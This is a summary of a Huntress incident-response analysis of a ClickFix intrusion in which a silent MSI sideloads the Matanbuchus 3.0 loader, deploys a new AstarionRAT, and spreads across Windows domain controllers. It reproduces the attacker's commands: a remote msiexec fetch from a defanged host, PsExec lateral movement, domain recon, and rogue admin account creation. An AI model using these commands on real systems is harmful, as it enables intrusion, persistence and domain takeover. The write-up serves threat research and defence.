# A New RAT and a Hands-on-Keyboard Intrusion

ClickFix lured a user into running a silent MSI that sideloaded Matanbuchus 3.0, which delivered a new AstarionRAT and enabled domain-wide lateral movement.

- Payout: Real-world hack
- Severity: high
- Program: Matanbuchus
- Analysis by: Huntress
- Disclosed: 2026-02-16
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-clickfix-matanbuchus-astarionrat-analysis
- Tags: area:os domain:desktop impact:internal-access impact:privesc kind:incident platform:threat-intel sev:high tech:windows technique:chained technique:reverse-engineering technique:source-review vuln:misconfiguration

**Target:** Windows endpoints, domain controllers; MSI installer, DLL sideloading, RAT C2
**Root cause:** Victim was socially engineered via ClickFix to run msiexec on a remote MSI; the MSI dropped a Zillya AV DLL-sideloading package where malicious SystemStatus.dll (Matanbuchus 3.0) loaded via legitimate core.exe, then chained further sideloading and reflective loaders to run AstarionRAT.
**Steps:**
1. ClickFix prompt instructs victim to run `"C:\WINDOWS\system32\mSiexeC.EXe" -PaCkAGe hxxp:\\binclloudapp[.]com\temp\..\ValidationID\..\466943 /q`
2. MSI silently installs to fake AV paths under %APPDATA%, dropping renamed 7-Zip (aps.exe), Zillya core.exe, SystemStatus.dll, ZscLib.dll, and encrypted INFO shellcode
3. core.exe sideloads SystemStatus.dll (Matanbuchus 3.0); loader brute-forces ChaCha20 key for INFO, decrypts Heaven's Gate shellcode, fetches `hxxps://marle[.]io/check/updprofile.aspx`
4. Matanbuchus drops java.exe + malicious jli.dll + XOR-encrypted SySUpd Lua script to %LOCALAPPDATA%\Temp\ndvyxgdriggmarrf\
5. jli.dll unhooks kernel32/ntdll via \KnownDlls\, runs embedded Lua 5.4.7 interpreter, decrypts SySUpd (rolling XOR key `#5CW6jvMuW`) and executes base64-decoded reflective PE loader shellcode
6. Reflective loader reconstructs Stage 1 DLL, which LZNT1-decompresses and maps AstarionRAT (Beacon.exe)
7. Operator uses RAT to run `net groups "Domain Admins" /domain` and `nltest /dclist:`, then `psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\rdp.bat` to create rogue admin `DefaultService` and push java.exe sideload package
**How found:** IR response to a hands-on intrusion; analysts unwound the layered execution chain from MSI through sideloads, ChaCha20 string/shellcode decryption, Lua interpreter, and reflective loaders to identify the previously unseen RAT.
**Exploitation:** Operator returned ~17h later, started AppMgmt service, staged tooling in C:\ProgramData\USOShared\, used a compromised service account for RDP, created rogue local admin DefaultService (`net user DefaultService AiRPcp47_r00t /add`), and PsExec'd batch scripts and the java.exe sideload package to a Windows Server and Backup DC; Defender quarantined jli.dll, but rogue accounts and RDP access persisted, and a PsExec pivot to the primary DC was attempted.
**Escalation:** Beachhead RAT -> domain recon -> RDP via compromised service account -> rogue local admin -> PsExec fan-out to server and BDC -> attempted pivot to primary DC.
**Insight:** Matanbuchus 3.0 brute-forces its own ChaCha20 key by decrementing an ASCII counter from 99999999 with a fixed 24-byte suffix and validating against a Heaven's Gate prologue — a known-plaintext shortcut any analyst can replay to decrypt INFO without the operator's key.

## Proof of concept (copied exactly from the original report)

**ClickFix MSI command with path traversal**

```
"C:\WINDOWS\system32\mSiexeC.EXe" -PaCkAGe hxxp:\\binclloudapp[.]com\temp\..\ValidationID\..\466943 /q
```

**PsExec lateral movement to DCs**

```
psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\rdp.bat
 
- psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\rdp1.bat
 
- psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\java.exe
 
- psexec.exe -accepteula -s -d \\<backup_dc> c:\programdata\usoshared\rdp.bat
 
- psexec.exe -accepteula -s -d \\<backup_dc> c:\programdata\usoshared\java.exe

On each host, the operator replicated the same playbook: create the rogue account, add it to local Administrators, and deploy AstarionRAT via the java.exe DLL sideloading package.

On each host, the operator created the rogue DefaultService account and added it to local Administrators. The operator also attempted to deploy AstarionRAT via the java.exe DLL sideloading package on both targets. However, Defender quarantined jli.dll on both hosts before the sideloading could succeed. On the Windows Server, the operator did set a Defender exclusion for C:\ProgramData\USOShared\, but roughly 15 minutes after Defender had already detected and quarantined the file.

Despite the failed RAT deployments, the operator still had the rogue DefaultService account and active RDP access on both hosts. From the Backup Domain Controller, the operator used PsExec to pivot to a primary domain controller, but the attempt was unsuccessful:

- PsExec.exe -accepteula -s -u <compromised_account> \\<target_dc> c:\programdata\1.bat
 
- PsExec.exe -accepteula -s -u <compromised_account> \\<target_dc> cmd
```

**Rogue admin account creation commands**

```
net user DefaultService AiRPcp47_r00t /add
 
- net localgroup Administradores DefaultService /add
```